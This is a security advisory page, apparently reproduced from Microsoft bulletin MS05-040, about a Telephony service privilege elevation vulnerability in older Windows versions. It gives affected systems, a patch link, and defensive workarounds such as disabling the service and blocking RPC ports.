On Windows 2000 Server and Windows Server 2003 based systems that have not manually configured the telephony server feature, this is a local elevation of privilege vulnerability. An attacker must have valid logon credentials and be able to log on locally to exploit this vulnerability. The vulnerability could not be exploited remotely or by anonymous users.
On Windows 2000 Professional and Windows XP, this is a local elevation of privilege vulnerability. An attacker must have valid logon credentials and be able to log on locally to exploit this vulnerability. The vulnerability could not be exploited remotely or by anonymous users.
By default, the Telephony service is not running on Windows XP and Windows Server 2003. However, the TAPI client will start the Telephony service without user interaction when required. Unless the Telephony service has been set to Disabled by an administrator, a non-privileged user account can start this service. Systems that have disabled the Telephony service would not be vulnerable to this issue.
Windows 98, Windows 98 Second Edition, and Windows ME contain the affected component but are not critically affected by the vulnerability.
 

Patch Information:


http://www.microsoft.com/technet/security/bulletin/MS05-040.mspx

Workaround Fixes:


Disable the Telephony service
Disabling the Telephony service will help protect the affected system from attempts to exploit this vulnerability. To disable the Telephony service, follow these steps:
Click Start, and then click Control Panel. Alternatively, Click Start, point to Settings, and then click Control Panel.
Double-click Administrative Tools.
Double-click Services.
Double-click Telephony.
In the Startup type list, click Disabled.
Click Stop, and then click OK.

You can also stop and disable the Telephony service by using the following command at the command prompt:

sc stop tapisrv & sc config tapisrv start= disabled
Impact of Workaround: If the Telephony service is disabled, any dependant services or operating system features would fail. Examples of these features include the new connection wizard, RAS, modem based dial-up networking, and the fax service, would fail. Therefore, we recommend this workaround only on systems that cannot apply the security update.
Block the following at the firewall:
UDP ports 135, 137, 138, and 445, and TCP ports 135, 139, 445, and 593
All unsolicited inbound traffic on ports greater than 1024
Any other specifically configured RPC port
These ports are used to initiate a connection with RPC. RPC can be used to remotely communicate with the Telephony service on Windows 2000 Server and Windows Server 2003. Blocking them at the firewall will help protect systems that are behind that firewall from attempts to exploit this vulnerability. Also, make sure that you block any other specifically configured RPC port on the remote system. We recommend that you block all unsolicited inbound communication from the Internet to help prevent attacks that may use other ports. For more information about ports that RPC uses, click here.
To help protect from network-based attempts to exploit this vulnerability, use a personal firewall, such as the Internet Connection Firewall, which is included with Windows Server 2003.

By default, the Internet Connection Firewall feature in Windows Server 2003 helps protect your Internet connection by blocking unsolicited incoming traffic. We recommend that you block all unsolicited incoming communication from the Internet.

To enable the Internet Connection Firewall feature by using the Network Setup Wizard, follow these steps:

Click Start, and then click Control Panel.
In the default Category View, click Network and Internet Connections, and then click Setup or change your home or small office network. The Internet Connection Firewall feature is enabled when you select a configuration in the Network Setup Wizard that indicates that your system is connected directly to the Internet.
Click Start, and then click Control Panel.
In the default Category View, click Networking and Internet Connections, and then click Network Connections.
Right-click the connection on which you want to enable Internet Connection Firewall, and then click Properties.
Click the Advanced tab.
Click to select the Protect my computer or network by limiting or preventing access to this computer from the Internet check box, and then click OK.

Note: If you want to enable certain programs and services to communicate through the firewall, click Settings on the Advanced tab, and then select the programs, the protocols, and the services that are required.

edit @ 11 Nov 2009 13:50:58 by Dolphin